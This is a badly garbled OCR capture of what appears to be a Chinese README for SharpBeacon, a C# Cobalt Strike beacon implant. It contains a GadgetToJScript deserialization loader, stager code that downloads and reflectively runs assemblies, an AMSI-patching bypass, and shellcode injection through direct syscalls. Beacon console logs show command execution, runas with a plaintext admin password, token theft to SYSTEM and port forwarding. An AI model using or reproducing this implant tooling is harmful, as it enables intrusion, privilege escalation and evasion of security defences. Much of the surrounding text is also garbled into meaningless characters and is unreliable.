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LR CRE D

Jashteamserverfaa4 iibeacon_keys3CfF , A FEIRIE EMAHIRSA A FLEAF , &5
Flconfig.cs/ , FFEconfig.cs& i [E{EHIURLFNAE fhash BN %% .

How to use

Firstly, starting TeamServer and you got .cobaltstrike.beacon_keys meanwhile configurate
listener etc. Secondly, compiling SharpBeacon with VisualStudio after you changed url and
RSA private key and public key in config.cs And Then click sharpbeacon.exe. Once you got
one beacon session and have fun! BTW this project as just a beacon which depends on
CobaltStrike. -- bopin2020

¥*TF{F AsyscalliEARIRIE bopin2020YH{E7Ewin11iliKcalc.exe BIIELFRILE B ; Hib
notepad,powershell#p;& A [a)dl, g bopin2020 YH{E,
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SharpBeacon

CobaltStrike Beacon written in .Net 4 Fi.net®8E 7 stager& Beacon , HHA4EIEE & X
HEE, HREEIE, SMEH. 54 SysCallgHTiE . RAEIRAKA. RETWE—RITNEE

—. B

XA 1— i F C#REE stager X F Beacons () KR % FITNRE | M FEENALINE iz
175732 (LolBins->Stager->Beacon) RMNHITNEENALE/R. LolBinsEi4 £HGadgetTods
{fFStagerft#fhjs. vba, htaXffg , BLEEEMENHKcsript, mshta®F2fFKiZ1T ; StagerThiE
BFE ML E BeaconIFE FF & FHENFH 1 KX AMSIBypass ; BeaconFi 7 FEHFEIE
IEH F&. XHETE, #HREEIE. S8, 454SysCaldt i, FAmOiEAk. KETW
E—ARJIThEE.

B ET .netd.0 , FxxHFesd. 1 (BERALENE) |, BSMK, WBGIHE, SharpSploit,
GeasonfINZE., BRRIEE LT NI L/EREFEF , MENERXE , FAHELEHRE
HEAZRIF, WTHEXWEER , B8/ IR BERFEMER , SRELARERS
HITEMRTEELIEE., HRMRZAEEIMERSS | hii K=K,

VEREF : ¥ CobaltStrike_EEStagerfliBeacon https://bbs.pediy.com/thread-
269115.htm

—. LolBins

LOLBins , £#“Living-Off-the-Land Binaries” , B 3 &\F A“AEIE R _EA ", FAHEE
HaamAZ :

o 1. WA Microsoft® & M " 3HHI3C 4 , AJRUEMicrosoft &%t B sk Z 331+,

o 2. BE=AANEZLFF. LoBinsfFEfFiR T IEE KThEESt , T UM E AR R E ]
TR, EAPTSLANSEER , B A TIEEREAPTHLAFER. TEREERE LK
LolBins , MBIRZFA——FIHT :

cmd.exe

Certutil.exe
BEred rundll32. exe

Mshta.exe

(— LolBins Cscript.exe

WeChat exe
Ry o 4{ sougo.exe
360se exe
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1M GadgetToJ ST B N AT IAIEREScs L4 EN S YmiF B baseb4wiLfE , fR774Ejs. vba, vbs, hta
X, MAEEM AP XHFAT Y4 BinaryFormatter @MAEFH 1T R FFIMLES |, B DAfihA XS
Activator.Createlnstance() KA , | }A_ﬁﬁ%‘tz_fﬂ NET & mzE/miT.

var ms_1 = Base64ToStream(stage 1, 2341);

var fmt_1 ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');
fmt_1.Deserialize 2(ms_1);

EX BRI netf2 FFETIEARNRKREEERNA A MG R , XHA AR NET F2FF&h
17. TEAKBIREFA G

3 —namespace Testhssembly{

15|F
4 = public class Prozram{

05|/

5 - public Program() {
] MessageBox. Show("Test Assembly 1170
7 }
g }
9 }
10

EMRNHERTRITI T4
\GadgetToJScript.exe -w js -c Program.cs -d System.Windows.Forms.dIl -b -0 gg HF 454

SHREITANT

o -W jSIRINFTAE ARSI |, AT A BT A S

e -c Program.cs TR mcs 34

o -d System.Windows.Forms.dll cs3Z44FT A ZIdll

o -b SLTESIHFHISINE—stager , KAMULENETA8+HIRAF 5| N T FHEEBKE
B, BAENfalse , AIRFTAE KA ZE/E NETA.8+HFMEFIZTT , NIRE Atrue (-
-Bypass/-b) . i stager1ztEbypassXMEEK].,

o -0 9o R4 A iljs. hta., VbsZEXHEFEINRSHERM :

HRIMMXBEINE 11, EINIZEMALE

HiEEEk

Hp

s
&y
T

RS W&

C:\Users\kent\Downloads\GadgetToJScript-master (1)\GadgetTolScript-master\GadgetToJS..\gg.js
jeanraee] TrojanDropper/JS.Maloader.h

3/17


https://github.com/mai1zhi2/SharpBeacon/blob/master/image/%E5%9B%BE%E7%89%872.png
https://github.com/mai1zhi2/SharpBeacon/blob/master/image/%E5%9B%BE%E7%89%873.png
https://github.com/mai1zhi2/SharpBeacon/blob/master/image/%E5%9B%BE%E7%89%874.png

MmN ABE B BB T RS SAMITT:

var shell Activexobject(/wscript.shell/.source);
ver 'vad.9.30319";

try {

shell.RegRead(/HKLM\SOFTWARE \Microsoft\.NETFramework\v4.®.383194\/.source);
} catch(e) {

ver 'v2.8.58727";

}
shell.Environment('Process"')("COMPLUS Version') = ver;
var ms_1 - Base64ToStream(stage 1, 2341);

var fmt_1 Activexobject(/system.Runtime.Serialization.Formatters.Binary.BinaryFormatter/.source);
fmt_1.Deserialize 2(ms _1);

ANRIHEAR AN

ek

BESGHERRSSE:

Test Assembly !!

Test Assembly !!
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=. Stager

StagerZi s HIThEER] AEFE T E JLIA :
netREtNERE

il core
Y. R
stager bypass amsi

etc.

FKEZTINT WML iE BeaconfiFs Fr e H7EN 7 INF K AMSIBypass , 58 K& REHMILAG
MAFRBEZL FN , IMERTABITARMN,. FEFREFERRNFNSX MRS |, B
W
é ;f;'wc. Prox;{. Credent{als = Cre;:lentialCache:D.;aiaultCredentials;

we. Headers. 4dd (" User-Agent”, "Nozilla/5. 0 (Findows NT 10.0; Wint4; x64, rv:90.0) Gecko/20100101 Firefox/90.07);

0
1 we. Headers. Add("Accept”, "#/+7)

2 we. Headers. Add(“Accept-Language”, “zh - CMN,zh; g = 0.8,2zh - TW; g = 0.7,zh - HK; q = 0.5,en - U3; g = 0.3,en; g = 0.2,
3

4

we. Headers. &dd(“Cache—Control”, “max-age=0");
byte[] data = we.DownloadData (Fulllirl);

5 #1f DEBUG
2 T3l
16 = public static void AssemblyExecute(byte[] AssemblyBytes, [1 Ares = null)
17 {
18 = if (Arzs == null)
19 {
o0 Arzs = new [1 {new strinz[] {1 1;
21 !
oz Reflect, hssembly assembly = Load{AssemblyBytes);
23 assembly. FntryPoint. Invoke(null, Ares);
24 }
R

T EtbypassAMSI |, X B —FF14Tk KA~ 2 AmsiScanBuffer , M £3kDIICanUnloadNowfKith
Ht

\ /iGet pointer for the AmsiScanPuffer function

'.{ IntPtr D11CanlnloadNowPtr = GetProcAddress(TargetDLL, “D11Caninloadiow”);
' =] if (D11CanUnloadiNowPtr == IntPtr.Zera)
I {
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KB IET M XIEwESTkE|AmsiScanBufferfg , 1T patch :
bytell egg = {1,
= if (IntPtr.8ize == 8)
{
= EEE T new byte[] {
UxdC, 0x8B, 0xDC,
Uxdf, 0x89, 0x5B, 0x08,
Uxd, 0x89, 0x6B, 0x10,
Dxdd, 0x89, 0x73, 0xls,
0x57,
Uxdl, 0x56,
Uxdl, 0x57,
Oxd8, 0x83, 0xEC, 0x7T0

1 ' &' struct System.Int22

- =T 32 (UETRSHE,
else {

= egz = new bytel[] {
0x3B, 0xFF,
0xbb,
03B, 0xEC,
0x83, 0zBC, 0x18,
0=53,
0=z58

4. Beacon

BeaconEh EEHASEER L4, SUEETR, HRREIE, SHEE, &4

FAimAR R, RKETWE—RIIThAE.

S EE
HIEEE
SHRRE
EARThEE

r =%E

-
killdata

etc

~ wHEAR —— nEdERs

RDI
DarkLoadlibrary

ENMRE APC
MemoryModule
‘8 _syscall

SysCalli#

o]
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413 ETE

SN EIRER D , A1 T op. mv, upload, download, filebrowse, rm, mkdir_biRx—+
NIBER :

Cp:

-~ Data (D:)

[+] host called home, sent: 36 bytes

] Tasked beacon to copy D://1.txt to D://111.txt

| 1110t
| 123 - 8 (2) - Bl bin

windowstiquan i
beacon> mv D://111.txt D://1/123 @ Onedi 4jsen
[*] Tas acon to move D://111. to D://1/123.tx’ nebnve 1236
[+] host called heme, sent: 40 bytes o R beacon.dll
¥ beacon.exe
EE: Y

beacon2.exe
 amm . -

Beacon 10.10.1.1
wscode % Beacon - BlF.exe
FECEEY + Beaconexe
1 AppData B Beaconpdb
4] host called hom
H e BinDiff Workspace BouncyCastle Crypto.dl
ost called hom
[+] host called home, se 80189 bytes BinDiff Workspace1 =G oy

\deaProjects NewtonsoftJson.dil

MicrosoftEdgeBackups Neutonsoft son.xml

Nox_share

acon> download D://CFF Explorer.zip
1 Tasked beacon te download D://CFF_Explore P
host called home, sent: 28 bytes
started download of D://CFF Explorer.zip (2167073 bytes)

download of CFF _Explorer. is complete

GFF_Explorer zip

o Download complete!

oz

€ v > WGFRER > 3T test(l) » test

== A~ oz
- Data (D7)

% CFF_Explorerzip

Filebrowse:

beacon> ls

Tasked beacon te list files in

[+] hest called home, sent: 19 bytes

[+] received output

Oc:\Users\kent\source\repos\SharpBeacon\Beacon\bin\Debug\
o 2021/8/6 13:19:37
0 2021/8/6 13:19:37 ..
95232 2021/8/26 3:26:07 Beacon - EIZ.exe
110592 2021/8/27 3:07:46 Beacon.exe
208384 2021/8/9 2:06:39 Beacon.pdb
2609152 2021/8/9 2:06:38 BouncyCastle. Crypto.dll
2167073 2021/8/24 13:11:24 CFF_Explorer.zip
576040 2021/8/9 2:06:38 Newtonsoft.Json.dll
563592 2021/8/9 2:06:39 Newtonsoft.Json.xml

D
D
F
F
F
F
F
F
F
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beacon> rm D://2

[*] Tasked beacon to remove D://2

[+] host called home, sent: 13 bytes

[+] received output

- R EUIN
- Data (D) 1

Debug B

SharpBeacon 2w

windowstiguan 35 FidaBisE

4.2 47285y

HFZZRS , BT Arun, shell, execute. runas. kill , k5T HKBrunu:
Run:

beacon> run ipconfig
[*] Tasked beacon te run: ipconfig
[+] host called home, sent: 26 bytes

[+] received output

Windows IP BB

LIKPER S LAKR :

AR : BETETTEE
EEREN ons R :

EIAPERR: BIRM 2:

AR : BETETTEE
EEREN ons BR :

T RHEFERS FHlER 1.

: BTN R
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peacon> shell ping gg.com
*] Tasked beacon to run: ping gg.com
+] host called home, sent: 42 bytes

+] receiwved output

E# Ping gg.com [183.3.226.35] R%H 32 FHHEE:
£E 183.3.226.35 MIEE: F%-32 FHA-16ms TTL-54
£E 183.3.226.35 MIEE: F%-32 FH(A-15mns TTL-54
EE 183.3.226.35 MIEE: F%H=32 K(A=15ms TTL=54

83.3.226.35 M ping #HiHER:

FiEa: SRIE - 4, B8l - 3, 2% =1 (25% £58),
iR TR THE A (ELE B AL -

B = 15ms, B = 16ms, T8

execute:

183.3.226.35 B ping HEE:

giEa: ORE - 2, OBl - 3, 2%
HERATEN R (LA R

BE = 15ms, B = 16ms, FH = 15ms

beacon> execute D:/f/calc.exe

[*] Tasked beacon to execute: D://fcalc.exe
[+] host called home, sent: 20 bytes

[+] received output

ok

MDD

beacon> runas ATTACK\Administrator !@#01234 dir \\10.10.10.165\C$
[*] Tasked beacon to execute: dir \\10.10.10.165\C$§ as ATTACK\Administrator
[+] host called home, sent: 72 bytes

[+] receiwved output
%1\10.10.10.165\c$ DeldaDsTk]

%4\10.10.10.165\Cc§ OOk%

2021/06/25 15:17 <DIR> 111
2021/06/20 16:08 hb.exe
2016/07/16 21:23 <DIR> PerfLogs
2020/07/14 14:12 <DIR> Program Files
2021/06/28 15:43 <DIR> Program Files
2020/07/14 14:07 <DIR> Users
2021/07/10 11: <DIR> Windows

10

O0r% 52,481,409,024
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beacon> ps
*] Tasked beacon to list processes
[+] host called home, sent: 12 bytes
[+] received output
Ppid Name Path SessionID Owner
1dle 0 x64
System o x64

Architecture

asrss 0 x64

Registry 0 x64

EMDriverAssist C:\Program Files (x86)\Lenovo\PCManager\3.0.700.7272\Modules\EMDriverAssist.exe 1
sihost  C:\Windows\system32\sihost.exe 1 DESKTOP-4PF5ELT\kent x64

smss 0 x64

DESKTOP-4PFSELT\kent

svehost C:\Windows\system32\svchost.exe [ NT AUTHORITY\LOCAL SERVICE x64
wininit 0 x64
csrss 1 x64
NT AUTHORITY\LOCAL SERVICE x64

NT AUTHORITY\SYSTEM x64

svchost  C:\Windows\System32\svchost.exe
winlogon C:\Windows\system32\winlogon.exe
services 0 x64
1sass NT AUTHORITY\SYSTEM x64
DESKTOP-4PFSELT\kent x64

NT AUTHORITY\SYSTEM x64
DESKTOP-4PF5ELT\kent x64

svchost C:\Windows\system32\svchost.exe o NT AUTHORITY\SYSTEM x64

fontdrvhost C:\Windows\systen32\ fontdrvhost.exe 1 Font Driver Host\UMFD-1  x64
fontdrvhost C:\Windows\system32\fontdrvhost.exe 0 Font Driver Host\UMFD-0  x64
WUDFHost C:\Windows\System32\WODFHost.exe O NT AUTHORITY\LOCAL SERVICE x64

WUDFHost C:\Windows\System32\WUDFHost.exe o NT AUTHORITY\LOCAL SERVICE x64

svchost [indows\system32\svchost.exe o NT AUTHORITY\NETWORK SERVICE x64

NT AUTHORITY\SYSTEM x64
DESKTOP-4PF5SELT\kent

:\Windows\system3?\lsass. exe

conhost /indows\system32\conhost . exe

c
c:

svchost C:\Windows\system32\svchost.exe
c

omd :\Windows\system32\cmd.exe

svchost lindows\system32\svchost.exe ]
WINWORD C:\Program Files\Microsoft 0ffice\Root\Officel6\WINWORD.EXE 1
beacon> kill 12752
[*] Tasked beacon teo kill 12752

[+] host called home, sent: 12 bytes

4.3 hEAUR

L RERERERSY , E5eRiIB getprivs, make_token, steal_token, rev2self :
Getprivs:

beacon> getprivs

[*] Tasked beacon to enable privileges

[+] host called home, 7155 bytes

[+] received ocutput

sent

73

SeIncreaseQuotaPrivilege
SeSecurityPrivilege
SeTakeOwnershipPrivilege
SeLoadDriverPrivilege
SeSystemProfilePrivilege
SeSystemtimePrivilege
SeProfileSingleProcessPrivilege
SelncreaseBasePriorityPrivilege
SeCreatePagefilePrivilege
SeBackupPrivilege
SeRestorePrivilegs
SeShutdownPrivilege
SeDebugPrivilege
SeSystemEnvironmentPrivilege
SeChangeNotifyPrivilege
SeRemoteShutdownPrivilege
SelUndockPrivilege
SeManageVolumePrivilege

HEERREAFRER
FEEEANELAE
BRI E AL R A FTE B
mEAHREERHNEF
EE A RAEE
HHFEGN A
EECHE—EE
TN el et
@ E I
EFhCFMER
EREXAMEFE

XHE RS

REAERF
BUEAFRE
SEniE R E

ML RS
MBS ERUFHEAL
WiT BT ES
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make_ token /)JJWH‘H’fmake token #L{TTcmd exe /C dir\10.10.10.165\C$

Tanud buacon to create a token for ATTAFF\AdmlnlthatOL
[+] host called home, sent: 47 bytes
[+] received output
W\10.10.10.165\C§ DelltDeTkOD

4\10.10.10.165\Cc§ OOr%

2021/06/25 15:17 <DIR> 111
2021/06/20 16:08 3, hb.exe
2016/07/16 21:23 <DIR> PerflLogs
2020/07/14 14:12 <DIR> Program Files
2021/06/28 15:43 <DIR> Program Files (x86)
2020/07/14 14:07 <DIR> Users
2021/07/10 11:55 <DIR> Windows

| 73,802 I

¥ 52 481,474,560 O

steal_token : jli\if #Esteal_token/5H4T T whoami

= UnAIMrLEAE  ewou icemets s1arEm vy ot ™ TILET
[beacon> steal token 4544 u] dilhost.exe 1728 IEEERT SYSTEM 00 T04 K FItiF
[*] Tasked beacon to steal token from PID 4544 ¥ ETDService.exe 3472  [EHEET SYSTEM 00 12K FItiF
[+] host called home, sent: 12 bytes P Everything.exe 4544  FHEIEiT SYSTEM 00 528K FAtiF
[+] received output F\leZiIIa Serverexe 5240 IEFEIET SYSTEM 00 580 K FftiF
Int authority\system & FMService64.exe 4028 IEMEE(T SYSTEM 00 484 K FALIF
i)GoogleCrashHandl... 11748 [EfEiEiT SYSTEM 00 216 K FFtiF

fannlarrachHandl 110n4 TS SVETEM nn MK TAris

rev2self :

beacon> steal token 4544

[*] Tasked beacon to steal token from PID 4544
[+] host called home, sent: 12 bytes
[+] receiwved output

nt authority\system

beacon> revlself

[*] Tasked beacon to revert token
[+] host called home, sent: 8 bytes
[+] receiwved output

ok

beacon> run whoami

[*] Tasked beacon to run: whoami

[+] host called home, sent: 24 bytes

[+] receiwved output
desktop-4pf5eltikent

4. 455K

i3 AES , BESeaiArportfwd, rportfwd stop :

Rportfwd , 23X BigHis A teamserver LR [8] 7 A FHELFE im0 |, 8B R EIFHEAMKip
Flport,

7£192.168.202.180:22222_F FHizEmsfslfT
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[*] Tasked beacon to forward port 23456 to 192.168.202.180:22222
[+] host called home, sent: 10 bytes
[+] received output

ok

C b
i lﬂ23456 ol

& C @ O & 192.168.202.1:23456 i Lot

It works!

Ll 13172345647 :
 ——— R L
e & http://10.10.10.1:23456/ O ~ & 2 10.10.10.1 ]
It works! g

rportfwd stop :

beacon> rportfwd stop 23456

[*] Tasked beacon to stop port forward on 23456
[+] stopped proxy pivot on 23456

[+] hest called home, sent: 10 bytes

[+] received output

ok

4.57F \&p5y
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FENEBSY | csiishinject, dllinject, injectEBFSGTAZLATEN , HAAHZEEwin10 x64
1909,shellcode 2 Fcs f{164{ic# shellcode , #ENKIFLF 2641 calc.exe , 2R EIR
NTSTSTUSH#}SUCCESS , Hshellcode)E i E \FEMBZ AL | FHTEEHARZHHTIA
17 , (B SGcalc.exe®BiAT , B AR :

56
57 iCHandle handle = GCHandle. Alloc(Shellcode, GCHandleType. Pinned)
53 IntPtr payloadPtr = handle. AddrOfPinneddkject ()
50 Bytesfritten = 0
g0 result = Syscalls. Nt¥riteVirtualMemory!(
61 processHandle,
62 o pBasd
B3 pavloadPtr,
G4 (uint)Shellcode. Length,
65 ref BytesWritten):
alal = if (result '= Native.NTSTATUS. Success)
a7 {
6a fiif DEBUG
69 Console. Writeline("[!] 5CInject WtWriteVirtualMemory Failed. )
70 Hendif
Tl return false;
72 i }
T3
T4
= Th IntPtr hEemoteThread = IntPtr.Zero; —FAE <= 1ms
T result = Syscalls. NtCreateThreadBx(
T ref hRemoteThread,
100% -~ @ FEIEXEE I~
183R(Ctrl+E) p- gz 3 - W [& e
EFR & EF - W 0=0000
@ Processid 23448 int Uxouo
» @ Shellcode {byte[892]} bytel] Dxo0or
@ processHandle (0x0000000000000688 System.IntPtr gxggg[
@ 03 {Beacon.Utils.Native.OBJECT_ATTRIBUTES} Beacon.Utils.M... L']iUDOE
bW i {Beacon.Utils.Native.CLIENT_ID} Beacon.Utils.N... 05000
@ result Success Beacon.Utils.N... 00001
@ regionSize 0x0000000000001000 System.IntPtr 0x0001
& pBase 0x000002984 1700000 System.IntPtr 0%0001
» @ handle {System.Runtime.InteropServices.GCHandle} System.Runtim... 0000
& payloadPtr 0x00000000027e33d8 System.IntPtr ~ W 50000

BErwxNIZ T [8l 7k shellcode g A2 fii 4 Tshellcode FH#T:

13/17


https://github.com/mai1zhi2/SharpBeacon/blob/master/image/%E5%9B%BE%E7%89%8742.png

coE i ¢t 9§ talP/EePhis oL EE®
B crv L+ BFE O =2 L= A O i =7 SEHHE Lo B & pe < EE o 2|H
© [0000029841780000 | C cid =
®( 0000029841780001 48:83E4 FO and rsp,FFFFFFFFEFFFFFFO famr
®| oooooz9s4178000S ES C8000000 €all 29841780002
#| 00000298417BO00A 41151 push r2 RAX 00000005 F5 S0EDDD
@| 00000298417B000C 41:50 push rs REX 0000000000000000
#|( 00000298417B000E 52 push rdx RCX 0000000000000000
®| 00000298417B000F 51 push rex RDX  000O7FFCE5C2D340
®( 00000298417B0010 56 push rsi REF  0000000000000000
@ 00000298417B0011 48:31D2 xor rdx ,rdx RSP 00000005 FSEFFDAS
@( 00000298417B0014 65 48: 8B52 &0 mov rdx ,qword ptr -: [rdx+60] RSI 0000000000000000
@ 00000298417B0013 48:8B52 18 mov rdx ,qword ptr ds:[rdx+18] RDI 0000000000000000
@ 00000298417B001D 48:8B52 Z0 mov rdx ,qgword ptr ds:[rdx+20]
@( 00000238417B0021 48:8B72 50 mov rsi,gword ptr  ds:[rdx+50] RE 0000000000000000
@ 00000298417B0025 48 :0FB7 4A 4A movzx rox ,word ptr ds:[rdx+4a] R9 00007 FEC 65C 20240
®| 00000298417B002A 4D :31C9 xor r9,r9 Rab DOOOIRONOOGEDEND
mmme- 8| 000002984178002D 48:31¢C0 XOr rax ,rax R1r DOOOO000OOD00000
! ®| oooooz9s41780030 AC Todsb
: | serrspemr e S cmp al, 61 R12  0000000000000000
| ®| 00000298417B0033 v 7C 02 j1 29841780037 R13 0000000000000000
: ®| 0000029841780035 2 20 sub al,20 R14  0000000000000000
i ®| oooooz9s417B0037 41:c1c9 oD ror rod,D RIS 0000000000000000
' ®( 00000298417B003B 41:01C1 add rad,eax
Lo ®| 000002984178003E ~ E2 ED loop 29B417B00ZD RIF  O00O7FFCE5CO0EDL
®| 00000298417B0040 52 push rdx
®| oooooz9s417B0041 41:51 push r9 <
@ 00000298417B0043 48:8B52 20 mov rdx ,qgwoerd ptr ds:[rdx+20] £
®| 0oooD29841780047 3842 3C mov eax ,dword ptr ds:[rdx+3C] v %;m fecBt) Eewstmelll)
1 rcx 0000000000000000
g b4 2: rdx D0DO7FFCESC2D340 <nt
3: rs 0000000000000000
4: r3 ODDO7FFCE5CZD340 <ntd
5: [rsp+28] 000000000000000
10000298417B0000
e P WP 2 w PE 3 W rEE 4 W M s o =l B#E ¢ o5000005 5 ar B0 oooo;ggﬁ?ﬁg;ﬂ;gg
B +iEn] ASCII A || 0o00DODSFSEFFDES [ 0000000000000000
I0D07FFCE65B61000 |€C CC CC CC [CC CC CC CC |48 89 5C 24 |08 33 DB 48 |[IIIIIIIIH.\5.30H O0000ODSFSBFFDCO || 0000000000000000
0007FFCE65E61010 8D 42 FF 41 |[BA FE FF FF [7F 44 8B CB (49 3B €2 41 |.BYA°py¥.D.EI;AA Q00000DSFSEFFDCE TITITTETITTITIED
{0DDFFFCE65B61020 |BE OD 00 00 (CO 45 OF 47 [CB 45 85 C9 |OF 88 FA 63 |»...AE.GEE.E..(lc 000000DSFSBFFDDO  LO0DOGC000000C000
ID007FFCE65B61030 |0DA 00 48 85 (D2 74 26 4C 2B D2 4C 2B |C1 49 8D 04 |..H.OT&L+OL+AI.. O0O0OODSFSBFFDDS  FOD007FFCES6F7C24
J0ODFFECE5861040 |12 48 85 CO |74 17 41 OF [B7 04 08 66 |85 €O 74 OD|.H.AT.A....f.At. 0O0000ODSFSBFFDEC (| 000000000000000
ID0D7FFCE5B61050 |66 89 01 43 (B3 €1 02 48 (83 EA 01 75 |E0 48 85 D2 |f..H.A.H.&.uaH.0 00000ODSFSBFFDES || 0000000000000000
0DDTFFCE5B61060 |48 8D 41 FE (48 OF 45 C1 (48 F7 DA 45 (1B €9 41 F7 |H.ApH.EAH=UE.EA= 00000ODSFSBFFDFO || 0000000000000000
10007FFCE65B61070 |D1 41 81 E1 |05 00 00 80 |66 89 18 48 |8B 5C 24 08 |RA.d....T..H.\$. O0O00ODSFSBFFDFS || 0000000000000000
0DDFFECE5B861080 |41 8B C1 C3 |CC €C CC CC [CC C€C CC CC |48 89 5C 24 A AAIIIIIIIIH.\S 00000ODSFSBFFE0C  (LOOOOGO000D00C000
ID007FFCE65E61090 |08 57 48 83 ([EC 40 49 BB (D8 E8 52 00 (00 00 48 8B |.WH.1@I.@ER...H NOONOONSESREEENS  FO0007FFCE5BCDT 2L
JD0DTFFCG65B610A0 |FS 48 8D 54 |24 20 33 CO |48 8B CB 48 (89 44 24 20 |@H.T$ 3AH.EH.D$ bl S
g

P fTNtCreateThreadEx(), # i+ A\ fcalc.exe FiiZ & A2 {7t shellcode :
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e

Lot e

LTI R

-- -

FIETI I

L v

sz e

PP -

om0t vh talPEerie AL AW
& crv L4 BE [ =i L= TS [ iRmEE =7 SEMfE B & #e < PR
L ] FC cld
& 00000298417 E0001L 43:83E4 FO and rsp , FFFFFFFFFFFFFFFD ~
#| 0oooo029841780005 ES C8000000 €all] 298417800D2
#| ocooonoz9s41780004 41:51 push r2 RAX ooooc
®| 00000298417B000C 41:50 push rs REX 0000C
@ 00000298417 B000E 52 push rdx RCX noooc
®| 00000295417B000F 51 push rcx RDX  0000C
®| 00000298417B0010 56 push rsi REP  0O0DOC
#| 0ooo029841780011 48:321D2 xor rdx ,rdx RSP 0000C
@ 000002938417B0014 65 48:8B52 60 mov rdx ,qword ptr [l [rdx+e0] RSI 0000C
@®| 00D0D02398417B0019 48:8B52 18 mov rdx ,gword ptr ds:[rdx+18] RDI 0000C
&| 00000298417E00LD 43:8B52 20 mov rdx ,gqword ptr ds:[rdx+20]
& 00000298417E00Z1 43:8B72 50 mov rsi,gword ptr ds:[rdx+50] RE 0000C
@ 00000298417B0025 45 OF BT 4A 44 movzx rox ,word ptr ds:[rdx+4a] R 0000C
#| 0ooooz9s41780024 4D:321C9 xor r9,rs ST
#| ooooo02984178002D 48:31C0 Xor rax ,rax P
#| oo0o0029841780030 AC Todsh
#| coonozasa17E0031 3C 61 cmp al, sl Rlz ooooc
r----#| 00000298417 B0033 w TC 02 j1 29B417BOO3T R13 ooooc
i @ 00000298417B0035 2C 20 sub al,zo R14 0oooc
L-—-s®| 00000298417B0037 41:c1C3 oD ror rod,D R1S  000OC
#| 00o0029841780038 41:01C1 add rod ,eax
& 00000298417 E00ZE ~ E2 ED 100p 298417B002D RIP ooooC
®| 000002958417B0040 52 push rdx
#| 00o0029841780041 41:51 push rs <
@ 00000298417B0043 483 :8B52 Z0O mov rdx ,gword ptr ds:[rdx+20]
@ 00000298417B0O047 8B 42 3C mov eax ,dword ptr ds:[rdx+3C] hd M
1: rcx 00000
< > 2: rdx 00000
3: r8 000DOD
4: r9 000002
5: [rsp+28]
00000298417B0000
! ‘ o 000000DS F5 BF 00007
W PIiE L W M 2 W MiF 3 W PIF 4 U FIFE B @ b=l EE‘BEEE] D00000DSFSBFFTAD || 000OC
pocbiis SN ASCII A | ooo00DSFEEFF7AS 0000C
ODDOTFFCEEBELO00  |€C CC CC CC |[CC CC CC CC |48 89 5C 24 |08 33 DB 48 |TITITIIIH.\§.30H 000000DSF5BFF7BO reey
DDOO7FFCE5B61010 |80 42 FF 41 |BA FE FF FF |7F 44 8B CB 49 3B C2 41 |.ByA®py¥.D.EI;AA LELL LD IAT L 2LETY
ODOO7FFCE5B61020 |BE OD 00 00 |CO 45 OF 47 |CB 45 B5 C9 |OF 88 FA &3 .AE.GEE.E..dc C0000ODSFSBFF7CO  [LOOOOC
O0DO7FFCESBE1030 | 0A 00 48 85 |D2 74 26 4C |2B D2 4C 2B |C1 49 8D 04 |..H.OT&L+OL+AI.. FITDRRVEFELAZET ALy
ODDO7FFCE5BE1040 |12 48 85 CO |74 17 41 OF |[B7 04 08 66 |85 CO 74 0D |.H.AT.A....T.AT. FEITTOIEFEARDD || CLbng
DODOTFFCESBELOS0 |66 89 01 48 |83 €1 02 48 |83 EA 01 75 |[ED 48 85 D2 [F..H.A.H.&.uaH.0 0000OODSFEBFF7DE || DODOC
DODO7FFCESBELOGD |48 8D 41 FE 48 OF 45 C1 |48 F7 DA 45 |18 €9 41 F7 |H.ADH.EAH:UE.EA: SRS SNSASH AR L5
ODOO7FFCE5BE1070  |D1 41 81 EL1 |05 00 00 80 |66 89 18 48 (8B 5C 24 08 |NA.&....T..H.\5. COOO0ODSFSBFF7ES | 0000C
DODO7FFCESBE1080 |41 88 CL C3 |CC €C CC CC |€C CC CC CC |48 89 5C 24 |A.AAIIIIIIIIH.\$ FETTTOIEFEATA || CLieg
00D007FFC65B61090 |08 57 48 83 |[EC 40 49 8B (D8 ES 52 00 |00 00 48 8B |.WH.I1@I.@ER...H. DO e 2 g0ar
DOOD7EFCE5BE10A0 | F8 48 8D 54 |24 20 33 €0 |48 8B CB 48 |89 44 24 20 |0H.TS 3AH.EH.D$ hl
L.
EEE |13 BT Doooozes4l TEOGOD!
HﬁFE@iﬁHEE‘]C% fEﬁEEENWYSZE@IEﬂNXEq
00000298417B002A D:31C9 xor ro,r9’ - - Lruoar o oar s
43:31c0 XOr rax,rax
i AC Todsb LastError 0000ZE
3C 61 cmp al,6l Laststatus CO0000
« 7C 02 i1 29841780037
2C 20 sub al,z20 Gs 0028 Fs 0053
41:C1c9 0D ror rod,D ES 0028 Ds 002B
. 41:01cC1 add rod,eax Cs 0033 ss 002B
[ ] ~ E2 ED Toop 298417B002D
] 52 push rdx
] 41:51 push 59 ’ ds: [rd ] <
- 48:8B52 20 mov rdx,gwor tr ds:[rdx+20
®| 0000020841780047| 8842 3cC Mov eax.aword ptr ds:[rdx:3C] v fhﬁci"ﬁ‘l fastcall
0000000000C
S b4 2: rdx Q0007FFC65C
3: rB 0D00FFFCB4AT
4: r9 00000000000C
5: [rsp+28] 00000z
10000298417B0030
e 0 I c 00000000000
WATEL WAz WA WATE e WRs @M1 e Sk e AR e s 3ea 376A0E0,
BiE T e e ~ | 00000005F 52FF4E0| 00000000000¢
J0007FFC65B61000|€C CC CC CC|CC CC CC CC|48 89 5C 24|08 33 DB 48| IIIIIILIIM.\§.30H 00 e 0009000
J0007FECE5861010| 8D 42 EF 41 |BA FE EF FF|7F 44 8B CB|[40 3B C2 41|.ByA°hyy.D.EI; AA WHF TR B BT L
I0007FFC65661020|BB OD 00 00|CO 45 OF 47 |CB 45 85 CO|OF 88 FA 63|»...AE.GEE.E..0C IBGINDS BRSO 00000295 1T
I0007FFC65861030|0A 00 48 85|D2 74 26 4C|2B D2 4C 2B|C1 49 8D 04..H,OT&L+OL+AI.. EAIBGNN s B BRI [[GD0nD 2R A Al
I0007FFC65661040(12 48 85 CO|74 17 41 OF |B7 04 08 66|85 CO 74 OD|.H.AT.A. -..T.Ar, OOG0OAE S ESEEELDE 0600029511
I0D07FFCE5861050 |66 89 01 48|83 C1 02 48|83 EA O1 75|E0 48 85 D2|f..H.A.H.&.uiH.d TELELTAFTARNRL) GELL AT LT
I0007FFCE5B61060 |48 8D 41 FE (48 OF 45 CL |48 F7 DA 45|1B €9 41 F7|H. AIJH EAHUE. EA— LLISLEMAE T ARIR: (B LT T
